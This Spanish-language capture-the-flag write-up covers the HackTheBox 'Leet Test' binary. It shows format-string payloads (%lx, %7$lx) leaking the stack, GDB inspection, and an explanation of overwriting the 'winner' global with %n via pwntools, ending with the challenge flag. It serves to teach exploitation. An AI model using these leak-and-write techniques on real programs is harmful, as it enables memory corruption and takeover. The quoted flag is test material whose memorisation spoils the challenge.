Leet Test
7 minutos de lectura
Se nos proporciona un binario de 64 bits llamado leet_test
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si lo abrimos en Ghidra, veremos el siguiente código descompilado en C:
uint winner = 0xcafebabe;
void main() {
long in_FS_OFFSET;
uint random;
int urandom_fd;
int flag_fd;
void *flag;
char name[280];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
initialize();
urandom_fd = open("/dev/urandom", 0);
read(urandom_fd, &random, 4);
close(urandom_fd);
random = random & 0xffff;
while (true) {
printf("Welcome to HTB!\nPlease enter your name: ");
fgets(name, 256, stdin);
printf("Hello, ");
printf(name);
if (random * 0x1337c0de == winner) break;
puts("Sorry! You aren\'t 1337 enough :(\nPlease come back later\n------------------------");
}
flag_fd = open("flag.txt", 0);
flag = malloc(256);
read(flag_fd, flag, 256);
close(flag_fd);
printf("\nCome right in! %s\n", flag);
/* WARNING: Subroutine does not return */
exit(0);
}
Aquí tenemos una vulnerabilidad de Format String, ya que hay una llamada a printf
usando como primer argumento una variable controlada por el usuario. Entonces, podemos introducir formatos y potencialmente extraer valores de la pila (stack) y también escribir en direcciones de memoria arbitrarias. Vamos a probar:
$ ./leet_test
Welcome to HTB!
Please enter your name: %lx
Hello, 7ffcc59f23e0
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx
Hello, 7ffcc59f23e0.0.0.7.7.0.9e5900000240.34000000003.58000000380.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.9000a786c25.98000000980
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
Vemos que %lx
se ha reemplazado por un número hexadecimal (7ffcc59f23e0
). Esto es una dirección de memoria de la pila. De hecho, si metemos un montón de %lx
, veremos que nuestra cadena de texto también se almacena en la pila. La encontramos a partir de la posición 10 (2e786c252e786c25
es %lx.%lx.
en formato bytes, little-endian).
Entonces, podemos leer valores de la pila usando una notación distinta. Y así, podemos controlar los valores a partir del offset 10:
$ ./leet_test
Welcome to HTB!
Please enter your name: AAAABBBB.%10$lx
Hello, AAAABBBB.4242424241414141
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %11$lx..AAAABBBB
Hello, 4242424241414141..AAAABBBB
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
El objetivo de este reto es pasar la comprobación de que random * 0x1337c0de == winner
. Primero, sería útil conocer el valor de random
, que se calcula al inicio. Vamos a usar GDB para encontrarlo:
$ gdb -q leet_test
Reading symbols from leet_test...
(No debugging symbols found in leet_test)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004012ca <+0>: endbr64
0x00000000004012ce <+4>: push rbp
0x00000000004012cf <+5>: mov rbp,rsp
0x00000000004012d2 <+8>: sub rsp,0x140
0x00000000004012d9 <+15>: mov rax,QWORD PTR fs:0x28
0x00000000004012e2 <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000004012e6 <+28>: xor eax,eax
0x00000000004012e8 <+30>: mov eax,0x0
0x00000000004012ed <+35>: call 0x401256 <initialize>
0x00000000004012f2 <+40>: mov esi,0x0
0x00000000004012f7 <+45>: lea rdi,[rip+0xd0a] # 0x402008
0x00000000004012fe <+52>: mov eax,0x0
0x0000000000401303 <+57>: call 0x401150 <open@plt>
0x0000000000401308 <+62>: mov DWORD PTR [rbp-0x130],eax
0x000000000040130e <+68>: lea rcx,[rbp-0x134]
0x0000000000401315 <+75>: mov eax,DWORD PTR [rbp-0x130]
0x000000000040131b <+81>: mov edx,0x4
0x0000000000401320 <+86>: mov rsi,rcx
0x0000000000401323 <+89>: mov edi,eax
0x0000000000401325 <+91>: mov eax,0x0
0x000000000040132a <+96>: call 0x401110 <read@plt>
0x000000000040132f <+101>: mov eax,DWORD PTR [rbp-0x130]
0x0000000000401335 <+107>: mov edi,eax
0x0000000000401337 <+109>: mov eax,0x0
0x000000000040133c <+114>: call 0x401100 <close@plt>
0x0000000000401341 <+119>: mov eax,DWORD PTR [rbp-0x134]
0x0000000000401347 <+125>: movzx eax,ax
0x000000000040134a <+128>: mov DWORD PTR [rbp-0x134],eax
0x0000000000401350 <+134>: lea rdi,[rip+0xcc1] # 0x402018
0x0000000000401357 <+141>: mov eax,0x0
0x000000000040135c <+146>: call 0x4010e0 <printf@plt>
0x0000000000401361 <+151>: mov rdx,QWORD PTR [rip+0x2d28] # 0x404090 <stdin@@GLIBC_2.2.5>
0x0000000000401368 <+158>: lea rax,[rbp-0x120]
0x000000000040136f <+165>: mov esi,0x100
0x0000000000401374 <+170>: mov rdi,rax
0x0000000000401377 <+173>: call 0x401120 <fgets@plt>
0x000000000040137c <+178>: lea rdi,[rip+0xcbe] # 0x402041
0x0000000000401383 <+185>: mov eax,0x0
0x0000000000401388 <+190>: call 0x4010e0 <printf@plt>
0x000000000040138d <+195>: lea rax,[rbp-0x120]
0x0000000000401394 <+202>: mov rdi,rax
0x0000000000401397 <+205>: mov eax,0x0
0x000000000040139c <+210>: call 0x4010e0 <printf@plt>
0x00000000004013a1 <+215>: mov eax,DWORD PTR [rbp-0x134]
0x00000000004013a7 <+221>: imul edx,eax,0x1337c0de
0x00000000004013ad <+227>: mov eax,DWORD PTR [rip+0x2cc5] # 0x404078 <winner>
0x00000000004013b3 <+233>: cmp edx,eax
0x00000000004013b5 <+235>: jne 0x4013be <main+244>
0x00000000004013b7 <+237>: mov eax,0x1
0x00000000004013bc <+242>: jmp 0x4013c3 <main+249>
0x00000000004013be <+244>: mov eax,0x0
0x00000000004013c3 <+249>: test al,al
0x00000000004013c5 <+251>: je 0x401450 <main+390>
0x00000000004013cb <+257>: mov esi,0x0
0x00000000004013d0 <+262>: lea rdi,[rip+0xc72] # 0x402049
0x00000000004013d7 <+269>: mov eax,0x0
0x00000000004013dc <+274>: call 0x401150 <open@plt>
0x00000000004013e1 <+279>: mov DWORD PTR [rbp-0x12c],eax
0x00000000004013e7 <+285>: mov edi,0x100
0x00000000004013ec <+290>: call 0x401130 <malloc@plt>
0x00000000004013f1 <+295>: mov QWORD PTR [rbp-0x128],rax
0x00000000004013f8 <+302>: mov rcx,QWORD PTR [rbp-0x128]
0x00000000004013ff <+309>: mov eax,DWORD PTR [rbp-0x12c]
0x0000000000401405 <+315>: mov edx,0x100
0x000000000040140a <+320>: mov rsi,rcx
0x000000000040140d <+323>: mov edi,eax
0x000000000040140f <+325>: mov eax,0x0
0x0000000000401414 <+330>: call 0x401110 <read@plt>
0x0000000000401419 <+335>: mov eax,DWORD PTR [rbp-0x12c]
0x000000000040141f <+341>: mov edi,eax
0x0000000000401421 <+343>: mov eax,0x0
0x0000000000401426 <+348>: call 0x401100 <close@plt>
0x000000000040142b <+353>: mov rax,QWORD PTR [rbp-0x128]
0x0000000000401432 <+360>: mov rsi,rax
0x0000000000401435 <+363>: lea rdi,[rip+0xc16] # 0x402052
0x000000000040143c <+370>: mov eax,0x0
0x0000000000401441 <+375>: call 0x4010e0 <printf@plt>
0x0000000000401446 <+380>: mov edi,0x0
0x000000000040144b <+385>: call 0x401160 <exit@plt>
0x0000000000401450 <+390>: lea rdi,[rip+0xc11] # 0x402068
0x0000000000401457 <+397>: call 0x4010d0 <puts@plt>
0x000000000040145c <+402>: jmp 0x401350 <main+134>
End of assembler dump.
gef➤ break *main+221
Breakpoint 1 at 0x4013a7
gef➤ run
Starting program: ./leet_test
Welcome to HTB!
Please enter your name: %lx
Hello, 7fffffffbe90
Breakpoint 1, 0x00000000004013a7 in main ()
gef➤ x/i $rip
=> 0x4013a7 <main+221>: imul edx,eax,0x1337c0de
gef➤ p/x $rax
$1 = 0x15c0
gef➤ x/20gx $rsp
0x7fffffffe530: 0x0000000000000000 0x000015c000000240
0x7fffffffe540: 0x0000034000000003 0x0000058000000380
0x7fffffffe550: 0x000009000a786c25 0x0000098000000980
0x7fffffffe560: 0x0000098000000980 0x0000098000000980
0x7fffffffe570: 0x0000098000000980 0x0000098000000980
0x7fffffffe580: 0x0000098000000980 0x0000098000000980
0x7fffffffe590: 0x0000098000000980 0x0000098000000980
0x7fffffffe5a0: 0x0000098000000980 0x0000098000000980
0x7fffffffe5b0: 0x0000000000000000 0x0000000000000100
0x7fffffffe5c0: 0x0000004000000000 0x0000040000000200
gef➤ grep %lx
[+] Searching '%lx' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe550 - 0x7fffffffe555 → "%lx\n"
gef➤ c
Continuing.
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: %7$lx
Hello, 15c000000240
Breakpoint 1, 0x00000000004013a7 in main ()
Genial, ahora tenemos el offset en el que se encuentra el valor random
(2 bytes superiores):
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, 3d8300000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, f59700000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
$ ./leet_test
Welcome to HTB!
Please enter your name: %7$lx
Hello, 73200000240
Sorry! You aren't 1337 enough :(
Please come back later
------------------------
Welcome to HTB!
Please enter your name: ^C
En este punto, sabremos cuál es el resultado de random * 0x1337c0de
. Sin embargo, no será 0xcafebabe
(que es el valor de winner
). Entonces, ¿qué podemos hacer? Bueno, las vulnerabilidades de Format String también nos permiten escribir datos en direcciones de memoria arbitrarias usando %n
. La manera en la que funciona este formato es que almacena el número de bytes impresos hasta el formato (%n
) en la dirección a la que apunta el formato.
Como podemos controlar la pila a partir del offset 10, podemos poner aquí una dirección en la que queremos escribir. La dirección de winner
es conocida (0x404078
), ya que el binario no tiene PIE:
$ readelf -s leet_test | grep winner
72: 0000000000404078 4 OBJECT GLOBAL DEFAULT 25 winner
Para escribir grandes cantidades de datos, se puede usar %c
. Entonces, la idea es:
- Fugar el valor de
random
- Calcular
random * 0x1337c0de
- Modificar el valor de
winner
según corresponda
Más información acerca de explotación de Format String aparece en mi write-up de Format, en mi write-up de Space Pirate: Entrypoint o en mi write-up de Rope. También es recomendable ver vídeos de YouTube de LiveOverflow, que son geniales:
La explotación manual de Format String para escribir valores puede ser muy tediosa, pero pwntools
nos ayuda con una función llamada fmtstr_payload
, que toma el offset desde donde controlamos nuestra format string y un diccionario que mapea la dirección donde queremos escribir con el valor que queremos escribir. Con esto, podemos completar los pasos anteriores y obtener la flag:
$ python3 solve.py 138.68.162.164:32700
[*] './leet_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 138.68.162.164 on port 32700: Done
b'HTB{y0u_sur3_r_1337_en0ugh!!}\n'
[*] Closed connection to 138.68.162.164 port 32700
El exploit completo se puede encontrar aquí: solve.py
.